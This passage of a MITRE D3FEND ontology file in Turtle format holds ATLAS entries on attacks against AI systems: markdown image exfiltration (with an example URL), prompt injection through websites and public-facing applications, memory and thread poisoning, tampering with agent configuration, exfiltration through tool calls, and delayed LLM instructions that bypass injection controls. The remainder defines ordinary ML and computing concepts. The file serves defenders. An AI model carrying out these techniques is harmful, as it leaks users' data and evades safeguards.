Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Microsoft Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.[1][2]

For example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.[3][4]

Adversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through Disable or Modify Tools or Disable or Modify Cloud Logs.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0075> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Cloud Service Discovery" .

d3f:AML.T0076 a owl:Class ;
    rdfs:label "Corrupt AI Model - ATLAS" ;
    d3f:attack-id "AML.T0076" ;
    d3f:definition "An adversary may purposefully corrupt a malicious AI model file so that it cannot be successfully deserialized in order to evade detection by a model scanner. The corrupt model may still successfully execute malicious code before deserialization fails." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0076> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "Corrupt AI Model" .

d3f:AML.T0077 a owl:Class ;
    rdfs:label "LLM Response Rendering - ATLAS" ;
    d3f:attack-id "AML.T0077" ;
    d3f:definition """An adversary may get a large language model (LLM) to respond with private information that is hidden from the user when the response is rendered by the user's client. The private information is then exfiltrated. This can take the form of rendered images, which automatically make a request to an adversary controlled server.

The adversary gets AI to present an image to the user, which is rendered by the user's client application with no user clicks required. The image is hosted on an attacker-controlled website, allowing the adversary to exfiltrate data through image request parameters. Variants include HTML tags and markdown

For example, an LLM may produce the following markdown:
```
![ATLAS](https://atlas.mitre.org/image.png?secrets="private data")
```

Which is rendered by the client as:
```
<img src="https://atlas.mitre.org/image.png?secrets="private data">
```

When the request is received by the adversary's server hosting the requested image, they receive the contents of the `secrets` query parameter.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0077> ;
    rdfs:subClassOf d3f:ATLASExfiltrationTechnique ;
    skos:prefLabel "LLM Response Rendering" .

d3f:AML.T0078 a owl:Class ;
    rdfs:label "Drive-by Compromise - ATLAS" ;
    d3f:attack-id "AML.T0078" ;
    d3f:definition """Adversaries may gain access to an AI system through a user visiting a website over the normal course of browsing, or an AI agent retrieving information from the web on behalf of a user. Websites can contain an [LLM Prompt Injection](/techniques/AML.T0051) which, when executed, can change the behavior of the AI model.

The same approach may be used to deliver other types of malicious code that don't target AI directly (See [Drive-by Compromise in ATT&CK](https://attack.mitre.org/techniques/T1189/)).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0078> ;
    rdfs:subClassOf d3f:ATLASInitialAccessTechnique ;
    skos:prefLabel "Drive-by Compromise" .

d3f:AML.T0079 a owl:Class ;
    rdfs:label "Stage Capabilities - ATLAS" ;
    d3f:attack-id "AML.T0079" ;
    d3f:definition """Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](/techniques/AML.T0017)) or obtained ([Obtain Capabilities](/techniques/AML.T0016)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](/techniques/AML.T0008)) or was otherwise compromised by them. Capabilities may also be staged on web services, such as GitHub, model registries, such as Hugging Face, or container registries.

Adversaries may stage a variety of AI Artifacts including poisoned datasets ([Publish Poisoned Datasets](/techniques/AML.T0019), malicious models ([Publish Poisoned Models](/techniques/AML.T0058), and prompt injections. They may target names of legitimate companies or products, engage in typosquatting, or use hallucinated entities ([Discover LLM Hallucinations](/techniques/AML.T0062)).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0079> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Stage Capabilities" .

d3f:AML.T0080.000 a owl:Class ;
    rdfs:label "Memory - ATLAS" ;
    d3f:attack-id "AML.T0080.000" ;
    d3f:definition """Adversaries may manipulate the memory of a large language model (LLM) in order to persist changes to the LLM to future chat sessions.

Memory is a common feature in LLMs that allows them to remember information across chat sessions by utilizing a user-specific database. Because the memory is controlled via normal conversations with the user (e.g. "remember my preference for ...") an adversary can inject memories via Direct or Indirect Prompt Injection. Memories may contain malicious instructions (e.g. instructions that leak private conversations) or may promote the adversary's hidden agenda (e.g. manipulating the user).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0080.000> ;
    rdfs:subClassOf d3f:AML.T0080 ;
    skos:prefLabel "Memory" .

d3f:AML.T0080.001 a owl:Class ;
    rdfs:label "Thread - ATLAS" ;
    d3f:attack-id "AML.T0080.001" ;
    d3f:definition """Adversaries may introduce malicious instructions into a chat thread of a large language model (LLM) to cause behavior changes which persist for the remainder of the thread. A chat thread may continue for an extended period over multiple sessions.

The malicious instructions may be introduced via Direct or Indirect Prompt Injection. Direct Injection may occur in cases where the adversary has acquired a user's LLM API keys and can inject queries directly into any thread.

As the token limits for LLMs rise, AI systems can make use of larger context windows which allow malicious instructions to persist longer in a thread.
Thread Poisoning may affect multiple users if the LLM is being used in a service with shared threads. For example, if an agent is active in a Slack channel with multiple participants, a single malicious message from one user can influence the agent's behavior in future interactions with others.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0080.001> ;
    rdfs:subClassOf d3f:AML.T0080 ;
    skos:prefLabel "Thread" .

d3f:AML.T0081 a owl:Class ;
    rdfs:label "Modify AI Agent Configuration - ATLAS" ;
    d3f:attack-id "AML.T0081" ;
    d3f:definition """Adversaries may modify the configuration files for AI agents on a system. This allows malicious changes to persist beyond the life of a single agent and affects any agents that share the configuration.

Configuration changes may include modifications to the system prompt, tampering with or replacing knowledge sources, modification to settings of connected tools, and more. Through those changes, an attacker could redirect outputs or tools to malicious services, embed covert instructions that exfiltrate data, or weaken security controls that normally restrict agent behavior.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0081> ;
    rdfs:subClassOf d3f:ATLASPersistenceTechnique ;
    skos:prefLabel "Modify AI Agent Configuration" .

d3f:AML.T0082 a owl:Class ;
    rdfs:label "RAG Credential Harvesting - ATLAS" ;
    d3f:attack-id "AML.T0082" ;
    d3f:definition "Adversaries may attempt to use their access to a large language model (LLM) on the victim's system to collect credentials. Credentials may be stored in internal documents which can inadvertently be ingested into a RAG database, where they can ultimately be retrieved by an AI agent." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0082> ;
    rdfs:subClassOf d3f:ATLASCredentialAccessTechnique ;
    skos:prefLabel "RAG Credential Harvesting" .

d3f:AML.T0083 a owl:Class ;
    rdfs:label "Credentials from AI Agent Configuration - ATLAS" ;
    d3f:attack-id "AML.T0083" ;
    d3f:definition """Adversaries may access the credentials of other tools or services on a system from the configuration of an AI agent.

AI Agents often utilize external tools or services to take actions, such as querying databases, invoking APIs, or interacting with cloud resources. To enable these functions, credentials like API keys, tokens, and connection strings are frequently stored in configuration files. While there are secure methods such as dedicated secret managers or encrypted vaults that can be deployed to store and manage these credentials, in practice they are often placed in less protected locations for convenience or ease of deployment. If an attacker can read or extract these configurations, they may obtain valid credentials that allow direct access to sensitive systems outside the agent itself.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0083> ;
    rdfs:subClassOf d3f:ATLASCredentialAccessTechnique ;
    skos:prefLabel "Credentials from AI Agent Configuration" .

d3f:AML.T0084.000 a owl:Class ;
    rdfs:label "Embedded Knowledge - ATLAS" ;
    d3f:attack-id "AML.T0084.000" ;
    d3f:definition """Adversaries may attempt to discover the data sources a particular agent can access.  The AI agent's configuration may reveal data sources or knowledge.

The embedded knowledge may include sensitive or proprietary material such as intellectual property, customer data, internal policies, or even credentials. By mapping what knowledge an agent has access to, an adversary can better understand the AI agent's role and potentially expose confidential information or pinpoint high-value targets for further exploitation.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0084.000> ;
    rdfs:subClassOf d3f:AML.T0084 ;
    skos:prefLabel "Embedded Knowledge" .

d3f:AML.T0084.001 a owl:Class ;
    rdfs:label "Tool Definitions - ATLAS" ;
    d3f:attack-id "AML.T0084.001" ;
    d3f:definition "Adversaries may discover the tools the AI agent has access to. By identifying which tools are available, the adversary can understand what actions may be executed through the agent and what additional resources it can reach. This knowledge may reveal access to external data sources such as OneDrive or SharePoint, or expose exfiltration paths like the ability to send emails, helping adversaries identify AI agents that provide the greatest value or opportunity for attack." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0084.001> ;
    rdfs:subClassOf d3f:AML.T0084 ;
    skos:prefLabel "Tool Definitions" .

d3f:AML.T0084.002 a owl:Class ;
    rdfs:label "Activation Triggers - ATLAS" ;
    d3f:attack-id "AML.T0084.002" ;
    d3f:definition """Adversaries may discover keywords or other triggers (such as incoming emails, documents being added, incoming message, or other workflows) that activate an agent and may cause it to run additional actions.

Understanding these triggers can reveal how the AI agent is activated and controlled. This may also expose additional paths for compromise, as an adversary could attempt to trigger the agent from outside its environment and drive it to perform unintended or malicious actions.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0084.002> ;
    rdfs:subClassOf d3f:AML.T0084 ;
    skos:prefLabel "Activation Triggers" .

d3f:AML.T0085.000 a owl:Class ;
    rdfs:label "RAG Databases - ATLAS" ;
    d3f:attack-id "AML.T0085.000" ;
    d3f:definition "Adversaries may prompt the AI service to retrieve data from a RAG database. This can include the majority of an organization's internal documents." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0085.000> ;
    rdfs:subClassOf d3f:AML.T0085 ;
    skos:prefLabel "RAG Databases" .

d3f:AML.T0085.001 a owl:Class ;
    rdfs:label "AI Agent Tools - ATLAS" ;
    d3f:attack-id "AML.T0085.001" ;
    d3f:definition "Adversaries may prompt the AI service to invoke various tools the agent has access to. Tools may retrieve data from different APIs or services in an organization." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0085.001> ;
    rdfs:subClassOf d3f:AML.T0085 ;
    skos:prefLabel "AI Agent Tools" .

d3f:AML.T0086 a owl:Class ;
    rdfs:label "Exfiltration via AI Agent Tool Invocation - ATLAS" ;
    d3f:attack-id "AML.T0086" ;
    d3f:definition "Adversaries may use prompts to invoke an agent's tool capable of performing write operations to exfiltrate data. Sensitive information can be encoded into the tool's input parameters and transmitted as part of a seemingly legitimate action. Variants include sending emails, creating or modifying documents, updating CRM records, or even generating media such as images or videos." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0086> ;
    rdfs:subClassOf d3f:ATLASExfiltrationTechnique ;
    skos:prefLabel "Exfiltration via AI Agent Tool Invocation" .

d3f:AML.T0087 a owl:Class ;
    rdfs:label "Gather Victim Identity Information - ATLAS" ;
    d3f:attack-id "AML.T0087" ;
    d3f:definition """Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, photos, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.

Adversaries may gather this information in various ways, such as direct elicitation, [Search Victim-Owned Websites](/techniques/AML.T0003), or via leaked information on the black market.

Adversaries may use the gathered victim data to Create Deepfakes and impersonate them in a convincing manner. This may create opportunities for adversaries to [Establish Accounts](/techniques/AML.T0021) under the impersonated identity, or allow them to perform convincing [Phishing](/techniques/AML.T0052) attacks.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0087> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Gather Victim Identity Information" .

d3f:AML.T0088 a owl:Class ;
    rdfs:label "Generate Deepfakes - ATLAS" ;
    d3f:attack-id "AML.T0088" ;
    d3f:definition """Adversaries may use generative artificial intelligence (GenAI) to create synthetic media (i.e. imagery, video, audio, and text) that appear authentic. These "[deepfakes]( https://en.wikipedia.org/wiki/Deepfake)" may mimic a real person or depict fictional personas. Adversaries may use deepfakes for impersonation to conduct [Phishing](/techniques/AML.T0052) or to evade AI applications such as biometric identity verification systems (see [Evade AI Model](/techniques/AML.T0015)).

Manipulation of media has been possible for a long time, however GenAI reduces the skill and level of effort required, allowing adversaries to rapidly scale operations to target more users or systems. It also makes real-time manipulations feasible.

Adversaries may utilize open-source models and software that were designed for legitimate use cases to generate deepfakes for malicious use. However, there are some projects specifically tailored towards malicious use cases such as [ProKYC](https://www.catonetworks.com/blog/prokyc-selling-deepfake-tool-for-account-fraud-attacks/).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0088> ;
    rdfs:subClassOf d3f:ATLASAIAttackStagingTechnique ;
    skos:prefLabel "Generate Deepfakes" .

d3f:AML.T0089 a owl:Class ;
    rdfs:label "Process Discovery - ATLAS" ;
    d3f:attack-id "AML.T0089" ;
    d3f:definition """Adversaries may attempt to get information about processes running on a system. Once obtained, this information could be used to gain an understanding of common AI-related software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details.

Identifying the AI software stack can then lead an adversary to new targets and attack pathways. AI-related software may require application tokens to authenticate with backend services. This provides opportunities for [Credential Access](/tactics/AML.TA0013) and [Lateral Movement](/tactics/AML.TA0015).

In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or `Get-Process` via PowerShell. Information about processes can also be extracted from the output of Native API calls such as `CreateToolhelp32Snapshot`. In Mac and Linux, this is accomplished with the `ps` command. Adversaries may also opt to enumerate processes via `/proc`.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0089> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Process Discovery" .

d3f:AML.T0090 a owl:Class ;
    rdfs:label "OS Credential Dumping - ATLAS" ;
    d3f:attack-id "AML.T0090" ;
    d3f:definition """Adversaries may extract credentials from OS caches, application memory, or other sources on a compromised system. Credentials are often in the form of a hash or clear text, and can include usernames and passwords, application tokens, or other authentication keys.

Credentials can be used to perform [Lateral Movement](/tactics/AML.TA0015) to access other AI services such as AI agents, LLMs, or AI inference APIs. Credentials could also give an adversary access to other software tools and data sources that are part of the AI DevOps lifecycle.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0090> ;
    rdfs:subClassOf d3f:ATLASCredentialAccessTechnique ;
    skos:prefLabel "OS Credential Dumping" .

d3f:AML.T0091.000 a owl:Class ;
    rdfs:label "Application Access Token - ATLAS" ;
    d3f:attack-id "AML.T0091.000" ;
    d3f:definition """Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). They are commonly used for AI services such as chatbots, LLMs, and predictive inference APIs.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0091.000> ;
    rdfs:subClassOf d3f:AML.T0091 ;
    skos:prefLabel "Application Access Token" .

d3f:AML.T0092 a owl:Class ;
    rdfs:label "Manipulate User LLM Chat History - ATLAS" ;
    d3f:attack-id "AML.T0092" ;
    d3f:definition """Adversaries may manipulate a user's large language model (LLM) chat history to cover the tracks of their malicious behavior. They may hide persistent changes they have made to the LLM's behavior, or obscure their attempts at discovering private information about the user.

To do so, adversaries may delete or edit existing messages or create new threads as part of their coverup. This is feasible if the adversary has the victim's authentication tokens for the backend LLM service or if they have direct access to the victim's chat interface.

Chat interfaces (especially desktop interfaces) often do not show the injected prompt for any ongoing chat, as they update chat history only once when initially opening it. This can help the adversary's manipulations go unnoticed by the victim.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0092> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "Manipulate User LLM Chat History" .

d3f:AML.T0093 a owl:Class ;
    rdfs:label "Prompt Infiltration via Public-Facing Application - ATLAS" ;
    d3f:attack-id "AML.T0093" ;
    d3f:definition """An adversary may introduce malicious prompts into the victim's system via a public-facing application with the intention of it being ingested by an AI at some point in the future and ultimately having a downstream effect. This may occur when a data source is indexed by a retrieval augmented generation (RAG) system, when a rule triggers an action by an AI agent, or when a user utilizes a large language model (LLM) to interact with the malicious content. The malicious prompts may persist on the victim system for an extended period and could affect multiple users and various AI tools within the victim organization.

Any public-facing application that accepts text input could be a target. This includes email, shared document systems like OneDrive or Google Drive, and service desks or ticketing systems like Jira.

Adversaries may perform [Reconnaissance](/tactics/AML.TA0002) to identify public facing applications that are likely monitored by an AI agent or are likely to be indexed by a RAG. They may perform [Discover AI Agent Configuration](/techniques/AML.T0084) to refine their targeting.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0093> ;
    rdfs:subClassOf d3f:ATLASInitialAccessTechnique,
        d3f:ATLASPersistenceTechnique ;
    skos:prefLabel "Prompt Infiltration via Public-Facing Application" .

d3f:AML.T0094 a owl:Class ;
    rdfs:label "Delay Execution of LLM Instructions - ATLAS" ;
    d3f:attack-id "AML.T0094" ;
    d3f:definition """Adversaries may include instructions to be followed by the AI system in response to a future event, such as a specific keyword or the next interaction, in order to evade detection or bypass controls placed on the AI system.

For example, an adversary may include "If the user submits a new request..." followed by the malicious instructions as part of their prompt.

AI agents can include security measures against prompt injections that prevent the invocation of particular tools or access to certain data sources during a conversation turn that has untrusted data in context. Delaying the execution of instructions to a future interaction or keyword is one way adversaries may bypass this type of control.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0094> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "Delay Execution of LLM Instructions" .

d3f:AML.T0095 a owl:Class ;
    rdfs:label "Search Open Websites/Domains - ATLAS" ;
    d3f:attack-id "AML.T0095" ;
    d3f:definition """Adversaries may search public websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or domains owned by the victim.

Adversaries may find the information they seek to gather via search engines. They can use precise search queries to identify software platforms or services used by the victim to use in targeting. This may be followed by [Exploit Public-Facing Application](/techniques/AML.T0049) or [Prompt Infiltration via Public-Facing Application](/techniques/AML.T0093).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0095> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Search Open Websites/Domains" .

d3f:ARIMAModel a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "ARIMA Model" ;
    d3f:d3fend-id "D3A-AM" ;
    d3f:definition "An autoregressive integrated moving average (ARIMA) model is a generalization of an autoregressive moving average (ARMA) model." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Autoregressive integrated moving average. [Link](https://en.wikipedia.org/wiki/Autoregressive_integrated_moving_average)""" ;
    d3f:synonym "Autoregressive Integrated Moving Average Model" ;
    rdfs:subClassOf d3f:TimeSeriesAnalysis .

d3f:ARM32CodeSegment a d3f:ImageCodeSegment,
        d3f:ProcessCodeSegment,
        owl:NamedIndividual ;
    rdfs:label "ARM32 Code Segment" .

d3f:ARMA_Model a d3f:TimeSeriesAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "ARMA Model" ;
    d3f:d3fend-id "D3-ARMA" ;
    d3f:definition "Autoregressive-moving-average (ARMA) models provide a parsimonious description of a (weakly) stationary stochastic process in terms of two polynomials, one for the autoregression (AR) and the second for the moving average (MA)." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Autoregressive-moving-average model. [Link](https://en.wikipedia.org/wiki/Autoregressive%E2%80%93moving-average_model)""" ;
    d3f:synonym "Autoregressive moving average model" ;
    rdfs:subClassOf d3f:TimeSeriesAnalysis .

d3f:ASCIIDomainName a d3f:DomainName,
        owl:NamedIndividual ;
    rdfs:label "ASCII Domain Name" .

d3f:ATTACKMergedThing a owl:Class ;
    rdfs:label "ATTACK Merged Thing" ;
    rdfs:subClassOf d3f:ATTACKThing .

d3f:AccessDeniedEvent a owl:Class ;
    rdfs:label "Access Denied Event" ;
    d3f:definition "An event indicating the refusal of access to a resource, where an access request has been evaluated and denied based on current authorization policies, preventing operations by the requesting agent." ;
    rdfs:subClassOf d3f:AccessMediationEvent .

d3f:AccessGrantedEvent a owl:Class ;
    rdfs:label "Access Granted Event" ;
    d3f:definition "An event signifying that access to a resource has been authorized and successfully enforced, allowing the requesting agent to perform specified operations based on the access control policies." ;
    rdfs:subClassOf d3f:AccessMediationEvent .

d3f:ActivityDependency a owl:Class ;
    rdfs:label "Activity Dependency" ;
    d3f:definition "An activity dependency is a dependency that indicates an activity has an activity or agent which relies on it in order to be functional." ;
    rdfs:subClassOf d3f:Dependency .

d3f:Actor-Critic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Actor-Critic" ;
    d3f:d3fend-id "D3A-AC" ;
    d3f:definition "Actor-Critic is a Temporal Difference(TD) version of Policy gradient. It has two networks: Actor and Critic. The actor decided which action should be taken and critic inform the actor how good was the action and how it should adjust. The learning of the actor is based on policy gradient approach. In comparison, critics evaluate the action produced by the actor by computing the value function." ;
    d3f:kb-article """## References
The Actor-Critic Reinforcement Learning Algorithm. Medium. [Link](https://medium.com/intro-to-artificial-intelligence/the-actor-critic-reinforcement-learning-algorithm-c8095a655c14).""" ;
    rdfs:subClassOf d3f:PolicyGradient,
        d3f:TemporalDifferenceLearning .

d3f:AdaptiveResonanceTheoryClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Adaptive Resonance Theory Clustering" ;
    d3f:d3fend-id "D3A-ARTC" ;
    d3f:definition "Adaptive Resonance Theory (ART) Clustering is a  neural network algorithm used for clustering data and is open to new learning(i.e. adaptive) without discarding the previous or the old information(i.e. resonance)." ;
    d3f:kb-article """## References
GeeksforGeeks. (n.d.). Adaptive Resonance Theory (ART). [Link](https://www.geeksforgeeks.org/adaptive-resonance-theory-art/)""" ;
    rdfs:subClassOf d3f:ANN-basedClustering .

d3f:AdobePDFFile1.3 a d3f:DocumentFile,
        owl:NamedIndividual ;
    rdfs:label "Adobe PDF File 1.3" ;
    d3f:may-contain d3f:JavascriptFile .

d3f:AgglomerativeClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Agglomerative Clustering" ;
    d3f:d3fend-id "D3A-AC" ;
    d3f:definition "Agglomerative Clustering is a type of hierarchical clustering method where data points are grouped together based on similarity. Initially, each data point is treated as an individual cluster, and then in successive iterations, the closest clusters are merged until only one large cluster remains or until a specified stopping criterion is met." ;
    d3f:kb-article """## How it works

Agglomerative clustering starts with each data point as its own cluster. The algorithm then iterates, identifying the two clusters that are closest to each other based on a defined distance metric (e.g., Euclidean, Manhattan). These two clusters are then merged into a single cluster. This process continues iteratively, merging the closest pairs of clusters in each step until all data points are merged into a single cluster or until other stopping criteria are achieved. A dendrogram, which is a tree-like diagram, can be used to represent the sequence of merges, providing a visual representation of the hierarchical structure of data.

## Considerations

- **Choice of Distance Metric**: The outcome can vary significantly depending on the chosen distance metric (e.g., Euclidean, Manhattan).

- **Scalability**: Agglomerative clustering can be computationally intensive for large datasets.

- **Sensitivity**: The method can be sensitive to outliers, which might affect the quality of the clusters formed.

## Key Test Considerations

- **Unsupervised Learning**:

  - **Number of Clusters**: Determine an optimal number of clusters using the dendrogram and techniques like the elbow method.

- **Cluster Analysis**:

    - **Silhouette Score**: Evaluates how similar an object is to its own cluster compared to other clusters. A higher silhouette score indicates that the object is well matched to its own cluster and poorly matched to neighboring clusters.

    - **Dunn Index**: Measures the ratio between the smallest distance between observations not in the same cluster to the largest intra-cluster distance.

- **Hierarchical Clustering**:

    - **Cophenetic Correlation Coefficient**: Measures the correlation between the distances of points in feature space and their distances on the dendrogram. Helps assess the fidelity of the dendrogram in preserving pairwise distances between samples.

- **Agglomerative Clustering**:

    - **Linkage Criteria**: Test different linkage criteria (e.g., single, complete, average) to determine which produces the most cohesive clusters for the data at hand.

  ## Platforms, Tools, or Libraries

- **scikit-learn**:

    - A versatile machine learning library in Python.

    - The `AgglomerativeClustering` class in scikit-learn provides this functionality.

- **SciPy**:

    - A Python library used for scientific and technical computing.

    - The `scipy.cluster.hierarchy` module provides functions for hierarchical and
    agglomerative clustering, including the `linkage` and `dendrogram` functions.

- **R**:

    - The `hclust` function in the stats package provides agglomerative clustering.

    - The `agnes` function in the `cluster` package offers a more extensive implementation.

- **MATLAB**:

    - Offers the `linkage` function for hierarchical agglomerative clustering and `dendrogram` for visualization.

- **Weka**:

    - A collection of machine learning algorithms for data mining tasks.

    - The `HierarchicalClusterer` class provides an implementation of agglomerative clustering.

## References

1. Jain, A. K., & Dubes, R. C. (1988). *Algorithms for clustering data*. Prentice-Hall, Inc.

2. Murtagh, F., & Legendre, P. (2014). Ward’s hierarchical agglomerative clustering method: which algorithms implement Ward’s criterion?. *Journal of Classification*, 31(3), 274-295. [Link](https://link.springer.com/article/10.1007/s00357-014-9161-z).

3. Scikit-learn. (30 Jun 2023). Scikit-learn Documentation: Agglomerative Clustering.
[Link](https://scikit-learn.org/stable/modules/generated/sklearn.cluster.AgglomerativeClustering.html).""" ;
    rdfs:subClassOf d3f:HierarchicalClustering .

d3f:AlethicLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Alethic Logic" ;
    d3f:d3fend-id "D3A-AL" ;
    d3f:definition "Alethic logic is a modal logic that addresses the modalities of necessity and possibility." ;
    d3f:kb-article """## References
1. Alethic logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Alethic_logic)""" ;
    rdfs:subClassOf d3f:ModalLogic .

d3f:Alias a owl:Class ;
    rdfs:label "Alias" ;
    d3f:definition "In macOS, an alias is a small file that represents another object in a local, remote, or removable[1] file system and provides a dynamic link to it; the target object may be moved or renamed, and the alias will still link to it (unless the original file is recreated; such an alias is ambiguous and how it is resolved depends on the version of macOS)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Alias_(Mac_OS)> ;
    rdfs:subClassOf d3f:SlowSymbolicLink .

d3f:AnonymousPipe a owl:Class ;
    rdfs:label "Anonymous Pipe" ;
    d3f:definition "In computer science, an anonymous pipe is a simplex FIFO communication channel that may be used for one-way interprocess communication (IPC). An implementation is often integrated into the operating system's file IO subsystem. Typically a parent program opens anonymous pipes, and creates a new process that inherits the other ends of the pipes, or creates several new processes and arranges them in a pipeline." ;
    rdfs:isDefinedBy <https://en.wikipedia.org/wiki/Anonymous_pipe> ;
    rdfs:subClassOf d3f:Pipe .

d3f:AnswerSetProgramming a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Answer Set Programming" ;
    d3f:d3fend-id "D3A-ASP" ;
    d3f:definition "Answer set programming is a form of declarative programming based on the stable model (answer set) semantics of logic programming." ;
    d3f:kb-article """## How it works
Answer set programming (ASP) is oriented towards difficult (primarily NP-hard) search problems. The computational process employed in the design of many answer set solvers is an enhancement of the DPLL algorithm and, in principle, it always terminates (unlike Prolog query evaluation, which may lead to an infinite loop).

In a more general sense, ASP includes all applications of answer sets to knowledge representation and the use of Prolog-style query evaluation for solving problems arising in these applications.

## References
1. Answer set programming. (2023, April 27). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Answer_set_programming)""" ;
    d3f:synonym "ASP" ;
    rdfs:subClassOf d3f:LogicProgramming .

d3f:ApplicationConfigurationModificationEvent a owl:Class ;
    rdfs:label "Application Configuration Modification Event" ;
    d3f:definition "An event in which the configuration of a specific software application is changed, affecting how that application executes, interacts with other components, or exposes functionality to users or services." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:ApplicationUpdateEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:ConfigurationModificationEvent .

d3f:ApplicationInventorySensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Inventory Sensor" ;
    d3f:definition "Collects information on applications on an endpoint." ;
    d3f:monitors d3f:Application ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:Application ],
        d3f:EndpointSensor .

d3f:ApplicationLayerLink a owl:Class ;
    rdfs:label "Application Layer Link" ;
    d3f:definition "An Application Layer Link is a type of logical link that exists at the application layer of a network or system architecture." ;
    rdfs:subClassOf d3f:LogicalLink .

d3f:ApplicationProcessConfiguration a owl:Class ;
    rdfs:label "Application Process Configuration" ;
    d3f:definition "The current configuration of an application process, stored in memory. It may have been sourced from other types of application configurations, e.g. Application Configuration Files or Application Configuration Database Records." ;
    rdfs:subClassOf d3f:ApplicationConfiguration .

d3f:ApplicationShim a owl:Class ;
    rdfs:label "Application Shim" ;
    d3f:definition "An application shim adapts an application program to run on a version of a platform for which they were not originally created. Most commonly \"Application Shimming\" refers to use of The Windows Application Compatibility Toolkit (ACT) provides backward compatibility by simulating the behavior of older version of Windows." ;
    rdfs:seeAlso d3f:Shim,
        <http://dbpedia.org/resource/Shim_(computing)#Examples> ;
    rdfs:subClassOf d3f:Shim .

d3f:AssociationRuleLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Association Rule Learning" ;
    d3f:d3fend-id "D3A-ARL" ;
    d3f:definition "Association rule learning is a rule-based machine learning method for discovering interesting relations between variables in large databases." ;
    d3f:kb-article """## References
Association rule learning. (n.d.). Wikipedia. [Link](https://en.wikipedia.org/wiki/Association_rule_learning)""" ;
    rdfs:subClassOf d3f:UnsupervisedLearning .

d3f:AsymmetricFeature-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Asymmetric Feature-based Transfer Learning" ;
    d3f:d3fend-id "D3A-AFTL" ;
